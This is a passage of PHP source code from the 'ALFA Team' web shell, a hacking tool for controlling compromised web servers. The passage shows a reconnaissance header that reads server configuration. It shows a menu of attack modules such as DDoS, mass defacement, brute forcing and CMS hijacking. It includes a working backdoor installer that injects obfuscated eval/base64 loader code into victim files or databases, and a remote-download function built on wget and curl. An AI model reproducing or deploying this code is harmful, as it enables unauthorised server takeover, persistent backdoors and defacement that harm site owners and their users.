$gid . \' [ \' . $group . \' ]</span> </td>\r\n<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="" src="http://solevisible.com/images/alfa-iran.png" /></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">PHP:</span></td>\r\n<td><b>\'.@phpversion(). \' </b><span class="header_vars"> Safe Mode: \'.$safe_modes.\'</span></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">ServerIP:</span></td>\r\n<td><b>\'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]).\' <span class="header_vars">Your IP:</span><b> \'.@$_SERVER["REMOTE_ADDR"].\'</b></td>\r\n</tr>\r\n<tr>\r\n<td width="3%"><span class="header_vars">DateTime:</span></td>\r\n<td colspan="2"><b>\'.date(\'Y-m-d H:i:s\').\'</b></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">Domains:</span></td>\r\n<td width="76%"><span class="header_values" id="header_domains">\';\r\nif($GLOBALS[\'sys\']==\'unix\'){\r\n$d0mains = _alfa_file("/etc/named.conf",false);\r\nif(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{\r\n$count=0;\r\nforeach($d0mains as $d0main){\r\nif(@strstr($d0main,"zone")){\r\npreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\nflush();\r\n$count++;}}}\r\necho "$count Domains";}}\r\nelse{echo("Cant Read [ /etc/named.conf ]");}\r\necho \'</span></td>\r\n</tr>\r\n<tr>\r\n<td height="16"><span class="header_vars">HDD:</span></td>\r\n<td><span class="header_vars">Total:</span><b>\'.alfaSize($totalSpace).\' </b><span class="header_vars">Free:</span><b>\' . alfaSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</b></td>\r\n</tr>\';\r\nif($GLOBALS[\'sys\']==\'unix\'){\r\n$useful_downloader = \'<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>\';\r\nif(!@ini_get(\'safe_mode\')){\r\nif(strlen(alfaEx("id",false,false))>0){\r\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>\';\r\n$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzialfa2\',\'nc\',\'locate\',\'suidperl\');\r\n$x=0;\r\nforeach($userful as $item)if(alfaWhich($item)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item.\'</span>\';}\r\nif($x==0){echo "<span class=\'header_values\' id=\'header_useful\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\r\necho \'</td>\r\n</tr>\r\n<tr>\r\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span>\';\r\n$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n$x=0;\r\nforeach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item2.\'</span>\';}\r\nif($x==0){echo "<span class=\'header_values\' id=\'header_downloader\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\r\necho \'</td>\r\n</tr>\';\r\n}else{\r\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\r\n}\r\n}else{\r\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\r\n}\r\n}else{\r\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>\';\r\necho alfaEx(\'ver\',false,false);\r\necho \'</td>\r\n</tr> <tr>\r\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>\r\n</tr></b>\';\r\n}\r\n$quotes = (function_exists(\'get_magic_quotes_gpc\')?get_magic_quotes_gpc():\'0\');if ($quotes == "1" or $quotes == "on"){$magic = \'<b><span class="header_on">ON</span>\';}else{$magic = \'<span class="header_off">OFF</span>\';}\r\necho \'<tr>\r\n<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>\'.Alfa_GetDisable_Function().\'</b></td>\r\n</tr>\r\n<tr>\r\n<td height="16" colspan="2"><span class="header_vars">CURL :</span>\'.$curl.\' | <span class="header_vars">SSH2 : </span>\'.$ssh2.\' | <span class="header_vars">Magic Quotes : </span>\'.$magic.\' | <span class="header_vars"> MySQL :</span>\'.$mysql.\' | <span class="header_vars">MSSQL :</span>\'.$mssql.\' | <span class="header_vars"> PostgreSQL :</span>\'.$pg.\' | <span class="header_vars"> Oracle :</span>\'.$or.\' \'.($GLOBALS[\'sys\']=="unix"?\'| <span class="header_vars"> CGI :</span> \'.$cgi_shell:"").\'</td><td width="15%"><center><a href="http://zone-h.org/archive/notifier=ALFA%20TEaM%202012" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></td>\r\n</tr>\r\n<tr>\r\n<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>\'.$open_b.\'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>\'.$safe_exe.\'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>\'.$safe_include.\'</b></td>\r\n</tr>\r\n<tr>\r\n<td height="11"><span class="header_vars">SoftWare: </span></td>\r\n<td colspan="2"><b>\'.@getenv(\'SERVER_SOFTWARE\').\'</b></td>\r\n</tr>\';\r\nif($GLOBALS[\'sys\']=="win"){\r\necho \'<tr>\r\n<td height="12"><span class="header_vars">DRIVE:</span></td>\r\n<td colspan="2"><b>\'.$drives.\'</b></td>\r\n</tr>\';\r\n}\r\necho \'<tr>\r\n<td height="12"><span class="header_vars">PWD:</span></td>\r\n<td colspan="2"><span id="header_cwd">\'.$cwd_links.\' </span><a href="javascript:void(0);" onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')"><span class="home_shell">[ Home Shell ]</span> </a><a href="javascript:void(0);" onclick="path_history(\\\'back\\\');"><span class="back_shell">[ BACK ]</span></a></td>\r\n</tr>\r\n</table>\r\n</div>\r\n<div id="meunlist">\r\n<ul>\r\n\';\r\n$li = array(\'FilesMan\'=>\'Home\',\'proc\'=>\'Process\',\'phpeval\'=>\'Eval\',\'sql\'=>\'SQL Manager\',\'dumper\'=>\'Mysql Dumper\',\'hash\'=>\'En-Decoder\',\'connect\'=>\'BC\',\'ssh2\'=>\'SSH2\',\r\n\'zoneh\'=>\'ZONE-H\',\'dos\'=>\'DDOS\',\'safe\'=>\'ByPasser\',\'cgishell\'=>\'Cgi Shell\',\'ssiShell\'=>\'SSI SHELL\',\'cpcrack\'=>\'Hash Tools\',\r\n\'portscanner\'=>\'Port Scaner\',\'basedir\'=>\'Open BaseDir\',\'mail\'=>\'Fake Mail\',\'ziper\'=>\'Compressor\',\'IndexChanger\'=>\'Index Changer\',\'pwchanger\'=>\'Add New Admin\',\'ShellInjectors\'=>\'Shell Injectors\',\r\n\'php2xml\'=>\'PHP2XML\',\'cloudflare\'=>\'CloudFlare\',\'Whmcs\'=>\'Whmcs DeCoder\',\'symlink\'=>\'Symlink\',\'MassDefacer\'=>\'Mass Defacer\',\'Crackers\'=>\'BruteForcer\',\'searcher\'=>\'Searcher\',\r\n\'cmshijacker\'=>\'CMS Hijacker\',\'remotedl\'=>\'Remote Upload\',\'inbackdoor\'=>\'Install BackDoor\',\'whois\'=>\'Whois\',\'settings\'=>\'Alfa Settings\',\'plus\'=>\'<span class="alfa_plus">Alfa +</font>\',\'selfrm\'=>\'Remove Shell\'\r\n);\r\nforeach($li as $key=>$value){\r\necho(\'<li><a href="javascript:void(0);" class="menu_options" onclick="g(\\\'\'.$key.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');">\'.$value.\'</a></li>\'."\\n");\r\n}\r\nif(!empty($_SESSION[\'AlfaUser\']) && !empty($_SESSION[\'AlfaPass\']))\r\necho \'<li><a href="javascript:void(0);" onclick="g(\\\'logout\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');setTimeout(function(){location.reload();},2000);"><font color="red">LogOut</font></a></li></ul></div>\';\r\nelse\r\necho \'</ul></div>\';}else{\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'magic_quotes_runtime\', 0);\r\n@set_time_limit(0);\r\n}}\r\nfunction alfalogout(){\r\nunset($_SESSION[\'AlfaUser\'],$_SESSION[\'AlfaPass\']);\r\necho("<center><font color=\'red\'>Logout...</font></center>");\r\n}\r\nfunction showAnimation($name){\r\n\treturn \'-webkit-animation: \'.$name.\' 800ms ease-in-out forwards;-moz-animation: \'.$name.\' 800ms ease-in-out forwards;-ms-animation: \'.$name.\' 800ms ease-in-out forwards;animation: \'.$name.\' 800ms ease-in-out forwards;\';\r\n}\r\nfunction __showicon($r){\r\n\t$s[\'btn\']=\'http://solevisible.com/images/btn.png\';\r\n\t$s[\'alfamini\']=\'http://solevisible.com/images/alfamini.png\';\r\n\t$s[\'loader\']=\'http://solevisible.com/images/loader.png\';\r\n\t//return \'data:image/png;base64,\'.__get_resource($s[$r]);\r\n\treturn $s[$r];\r\n}\r\nfunction alfainbackdoor(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'file\\\')">| In File | </a><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'db\\\')">| In DataBase | </a></h3></center>\';\r\n$error = \'<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>\';\r\n$success= \'<font color="green">Success...!\';\r\n$textarea = "<div style=\'display:none;\' id=\'backdoor_textarea\'><div class=\'txtfont\'>Your Shell:</div><p><textarea name=\'shell\' rows=\'19\' cols=\'103\'><?php\\n\\techo(\'Alfa Team is Here...!\');\\n?></textarea></p></div>";\r\n$select = "<div class=\'txtfont\'>Use:</div> <select name=\'method\' style=\'width:155px;\' onChange=\'inBackdoor(this);\'><option value=\'alfa\'>Alfa Team Uploader</option><option value=\'my\'>My Private Shell</option></select>";\r\n$cwd = \'Example: /home/alfa/public_html/index.php\';\r\nif($_POST[\'alfa1\']==\'file\'){\r\necho("<center><p><div class=\'txtfont_header\'>| In File |</div></p><p><form onsubmit=\\"g(\'inbackdoor\',null,\'file\',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\\">{$select} <div class=\'txtfont\'>Backdoor Loader:</div> <input type=\'text\' name=\'file\' size=\'50\' placeholder=\'{$cwd}\'> <div class=\'txtfont\'>Key: </div> <input type=\'text\' name=\'key\' size=\'10\' value=\'alfa\'> <input type=\'submit\' value=\' \'>{$textarea}</form></p></center>");\r\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa4\']!=\'\'){\r\n$method = $_POST[\'alfa2\'];\r\n$file = $_POST[\'alfa3\'];\r\n$shell = $_POST[\'alfa4\'];\r\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa5\']));\r\nif($key==\'\')$key=\'alfa\';\r\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\r\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x("\'.$shell.\'");exit;}?>\';\r\nif(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}\r\nif($_POST[\'alfa1\']==\'db\'){\r\necho("<center><p><div class=\'txtfont_header\'>| In DataBase |</div></p>".getConfigHtml(\'all\')."<p><form onsubmit=\\"g(\'inbackdoor\',null,\'db\',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\\">");\r\n$table = array(\'td1\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n\'td2\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td3\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td4\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td5\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Backdoor Loader: \', \'inputName\' => \'file\', \'inputValue\' => $cwd, \'inputSize\' => \'50\', \'placeholder\' => true),\r\n\'td6\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Key: \', \'inputName\' => \'key\', \'inputValue\' => \'alfa\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho("<p>{$select}</p>");\r\necho($textarea);\r\necho("<p><input type=\'submit\' value=\' \'></p></form></p></center>");\r\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa5\']!=\'\'&&$_POST[\'alfa6\']!=\'\'){\r\n$dbhost = $_POST[\'alfa2\'];\r\n$dbuser = $_POST[\'alfa3\'];\r\n$dbpw = $_POST[\'alfa4\'];\r\n$dbname = $_POST[\'alfa5\'];\r\n$file = $_POST[\'alfa6\'];\r\n$method = $_POST[\'alfa7\'];\r\n$shell = $_POST[\'alfa8\'];\r\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa9\']));\r\nif($key==\'\')$key=\'alfa\';\r\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\r\nif($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){\r\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$conn=mysqli_connect("\'.str_replace(\'"\',\'\\"\',$dbhost).\'","\'.str_replace(\'"\',\'\\"\',$dbuser).\'","\'.str_replace(\'"\',\'\\"\',$dbpw).\'","\'.str_replace(\'"\',\'\\"\',$dbname).\'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>\';\r\nif(@is_file($file)&&@is_writable($file)){\r\n@mysqli_query($conn,\'DROP TABLE `alfa_bc`\');\r\n@mysqli_query($conn,\'CREATE TABLE `alfa_bc` (code LONGTEXT)\');\r\n@mysqli_query($conn,\'INSERT INTO `alfa_bc` VALUES("\'.$shell.\'")\');\r\n@file_put_contents($file,$code."\\n".@file_get_contents($file));\r\n__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfawhois(){\r\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Whois |</div></p><p><form onsubmit=\\"g(\'whois\',null,this.url.value,\'>>\');return false;\\"><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'url\' style=\'text-align:center;\' size=\'50\' placeholder=\'google.com\'> <input type=\'submit\' value=\' \'></form></p></center>");\r\nif($_POST[\'alfa2\']==\'>>\'&&!empty($_POST[\'alfa1\'])){\r\n$site = str_replace(array(\'http://\',\'https://\',\'www.\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\r\n$target = \'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=\'.$site;\r\n$data = @file_get_contents($target);\r\nif($data==\'\'){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}\r\n$target = @json_decode($data,true);\r\necho __pre();\r\nif(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}\r\necho("</div>");\r\n}\r\nfunction alfaremotedl(){\r\nalfahead();\r\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\\"g(\'remotedl\',null,this.d.value,this.p.value,\'>>\');return false;\\">\r\n<p><div class=\'txtfont\'>Url: </div>&nbsp;&nbsp;&nbsp;<input type=\'text\' name=\'d\' size=\'50\'></p>\r\n<div class=\'txtfont\'>Path:</div> <input type=\'text\' name=\'p\' size=\'50\' value=\'".$GLOBALS[\'cwd\']."\'><p><input type=\'submit\' value=\' \'></p>\r\n</form></p></center>");\r\nif(isset($_POST[\'alfa1\'],$_POST[\'alfa2\'],$_POST[\'alfa3\'])&&!empty($_POST[\'alfa1\'])&&$_POST[\'alfa3\']==\'>>\'){\r\necho __pre();\r\n$url = $_POST[\'alfa1\'];\r\n$path = $_POST[\'alfa2\'];\r\necho(\'<center>\');\r\nif(__download($url,$path)){\r\necho(\'<font color="green">Success...!</font>\');\r\n}else{\r\necho(\'<font color="red">Error...!</font>\');\r\n}\r\necho(\'</center>\');\r\n}\r\necho("</div>");\r\nalfafooter();\r\n}\r\nfunction __download($url,$path=false){\r\nif(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false;\r\n$saveas = basename(rawurldecode($url));\r\nif($path){$saveas=$path.$saveas;}\r\nif($content = __read_file($url)){\r\nif(@is_file($saveas))@unlink($saveas);\r\nif(__write_file($saveas, $content)){return true;}}\r\n$buff = alfaEx("wget ".$url." -O ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("curl ".$url." -o ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("lwp-download ".$url." ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("lynx -source ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("GET ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("links -source ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("fetch -o ".$saveas." -p ".$url);\r\nif(@is_file($saveas)) return true;\r\nreturn false;\r\n}\r\nfunction clean_string($string){\r\n  if(function_exists("iconv")){\r\n\t  $s = trim($string);\r\n\t  $s = iconv("UTF-8", "UTF-8//IGNORE", $s);\r\n  }\r\n  return $s;\r\n}\r\nfunction __read_file($file, $boom = true){\r\n$content = false;\r\nif($fh = @fopen($file, "rb")){\r\n$content = "";\r\nwhile(!feof($fh)){\r\n$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);\r\n}\r\n}\r\nif(empty($content)||!$content){\r\n\t$content = alfaEx("cat \'".addslashes($file)."\'");\r\n}\r\nreturn $content;\r\n}\r\nfunction alfaSettings(){\r\nalfahead();\r\nAlfaNum(6,7,8,9,10);\r\necho \'<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,null,\\\'main\\\')">| Generall Setting | </a><a href=javascript:void(0) onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,null,\\\'color\\\')">| Change Color | </a></h3></center>\';\r\nif($_POST["alfa8"] == "main"){\r\necho \'<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\\\'post\\\'>\';\r\n$lg_array = array(\'0\'=>\'No\',\'1\'=>\'Yes\');\r\n$penc_array = array(\'false\'=>\'No\',\'true\'=>\'Yes\');\r\n$protect_html = "";\r\n$icon_html = "";\r\n$postEnc_html = "";\r\n$login_html = "";\r\nforeach($lg_array as $key=>$val)$protect_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'safemode\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\nforeach($lg_array as $key=>$val)$icon_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\nforeach($penc_array as $key=>$val)$postEnc_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa7\'])&&$_POST[\'alfa7\']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST[\'alfa7\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';\r\n$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");\r\nforeach($lg_array as $key=>$val)$login_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'login_page\']==$key?\'selected\':\'\').\'>\'.$val.\'</option>\';\r\necho \'\';\r\necho \'<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">\'.$protect_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">\'.$postEnc_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">\'.$icon_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">\'.$login_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="\'.(empty($_POST[\'alfa3\'])?$GLOBALS[\'DB_NAME\'][\'user\']:$_POST[\'alfa3\']).\'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="\'.$GLOBALS[\'DB_NAME\'][\'safemode\'].\'"><input type="hidden" name="s" value="\'.$GLOBALS[\'DB_NAME\'][\'show_icons\'].\'"><p><input type="submit" name="btn" value=" "></p></form></center>\';\r\nif($_POST[\'alfa5\']==\'>>\'){\r\necho __pre();\r\nif(!empty($_POST[\'alfa3\'])){\r\n$protect = $_POST[\'alfa1\'];\r\n$lgpage = $_POST[\'alfa2\'];\r\n$username = $_POST[\'alfa3\'];\r\n$password = md5($_POST[\'alfa4\']);\r\n$icon = $_POST[\'alfa6\'];\r\n$post_encrypt = $_POST[\'alfa7\'];\r\n@chdir($GLOBALS[\'home_cwd\']);\r\n$basename = @basename($_SERVER[\'PHP_SELF\']);\r\n$data = @file_get_contents($basename);\r\n$find_user = \'/\\\'user\\\'(.*?),/i\';\r\n$find_pw = \'/\\\'pass\\\'(.*?),/i\';\r\n$find_lg = \'/\\\'login_page\\\'(.*?),/i\';\r\n$find_p = \'/\\\'safemode\\\'(.*?),/i\';\r\n$icons = \'/\\\'show_icons\\\'(.*?),/i\';\r\n$postEnc = \'/\\\'post_encryption\\\'(.*?),/i\';\r\nif(!empty($username)&&preg_match($find_user,$data,$e)){\r\n$new = \'\\\'user\\\' => \\\'\'.$username.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($_POST[\'alfa4\'])&&preg_match($find_pw,$data,$e)){\r\n$new = \'\\\'pass\\\' => \\\'\'.$password.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($lgpage)&&preg_match($find_lg,$data,$e)){\r\n$new = \'\\\'login_page\\\' => \\\'\'.$lgpage.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(!empty($find_p)&&preg_match($find_p,$data,$e)){\r\n$new = \'\\\'safemode\\\' => \\\'\'.$protect.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($icons,$data,$e)){\r\n$new = \'\\\'show_icons\\\' => \\\'\'.$icon.\'\\\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(preg_match($postEnc,$data,$e)){\r\n$new = \'\\\'post_encryption\\\' => \'.$post_encrypt.\',\';\r\n$data = str_replace($e[0],$new,$data);\r\n}\r\nif(@file_put_contents($basename,$data)){\r\necho \'<b>UserName: </b><font color="green"><b>\'.$username.\'</b></font><br /><b>Password: </b><font color="green"><b>\'.$_POST[\'alfa4\'].\'</b></font><script>post_encryption_mode = \'.$post_encrypt.\';</script>\';\r\n}else{\r\n__alert("<span style=\'color:red;\'>File has no edit access...!</span>");\r\n}\r\n}else{\r\n__alert("<span style=\'color:red;\'>UserName is Empty !</span>");\r\n}\r\n}\r\n}elseif($_POST["alfa8"] == "color"){\r\necho(\'<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\\\'post\\\'>\');\r\necho \'<table border="1"><tbody>\';\r\n$template = \'<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>\';\r\n$x = 1;\r\nforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\r\n\t$multi = "";\r\n\tif(is_array($value)){\r\n\t\tif(isset($value["multi_selector"])){\r\n\t\t\t$multi = __ZW5jb2Rlcg(json_encode($value));\r\n\t\t}\r\n\t}\r\n\t$value = alfa_getColor($key);\r\n\t$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));\r\n\techo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);\r\n}\r\necho \'<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>\';\r\n\r\necho \'</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\\\'importFileBtn\\\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\\\'settings\\\',null,null,null,null,null,null,null,\\\'export\\\',\\\'color\\\')" class="button"> Export </button></center></p>\';\r\nif($_POST[\'alfa7\']==\'export\'){\r\n\techo __pre();\r\n\t$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();\r\n\t$glob_colors = $GLOBALS["__ALFA_COLOR__"];\r\n\t$array = array();\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v["key_color"]:$v);\r\n\t\t}\r\n\t\t$array[$k] = $v;\r\n\t}\r\n\t$file = "alfa_color_config_".date(\'Y-m-d-h_i_s\').".conf";\r\n\t$config = json_encode($array, JSON_PRETTY_PRINT);\r\n\tif(!@file_put_contents($file, $config)){\r\n\t\techo(\'<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">\'.$config.\'</textarea></center></p>\');\r\n\t}else{\r\n\t\techo(\'<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$file.\'\\\', \\\'download\\\')"><font color="#0F0">Download Config</font></a></center></p></h3>\');\r\n\t}\r\n}\r\nif($_POST[\'alfa2\']==\'>>\'){\r\n\techo __pre();\r\n\t$colors = json_decode($_POST["alfa1"],true);\r\n\t$array = "";\r\n\t$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;\r\n\t$glob_colors = $GLOBALS["__ALFA_COLOR__"];\r\n\tforeach($glob_colors as $k => $v){\r\n\t\tif(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){\r\n\t\t\t$v = trim($colors[$k]);\r\n\t\t}else{\r\n\t\t\t$v = trim(is_array($v)?$v["key_color"]:$v);\r\n\t\t}\r\n\t\t$array .= \'"\'.trim($k).\'" => "\'.$v.\'",\';\r\n\t}\r\n\t@chdir($GLOBALS[\'home_cwd\']);\r\n\t$basename = @basename($_SERVER[\'PHP_SELF\']);\r\n\t$data = @file_get_contents($basename);\r\n\t$color = \'/\\\'color\\\'(.*?)\\),/s\';\r\n\tif(preg_match($color,$data,$e)){\r\n\t\t$new = "\'color\' => array(".$array."),";\r\n\t\t$data = str_replace($e[0],$new,$data);\r\n\t\tif(@file_put_contents($basename, $data)){\r\n\t\t\techo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");\r\n\t\t}else{\r\n\t\t\techo("<center><p><h3>[-] We Not have permission to Edit 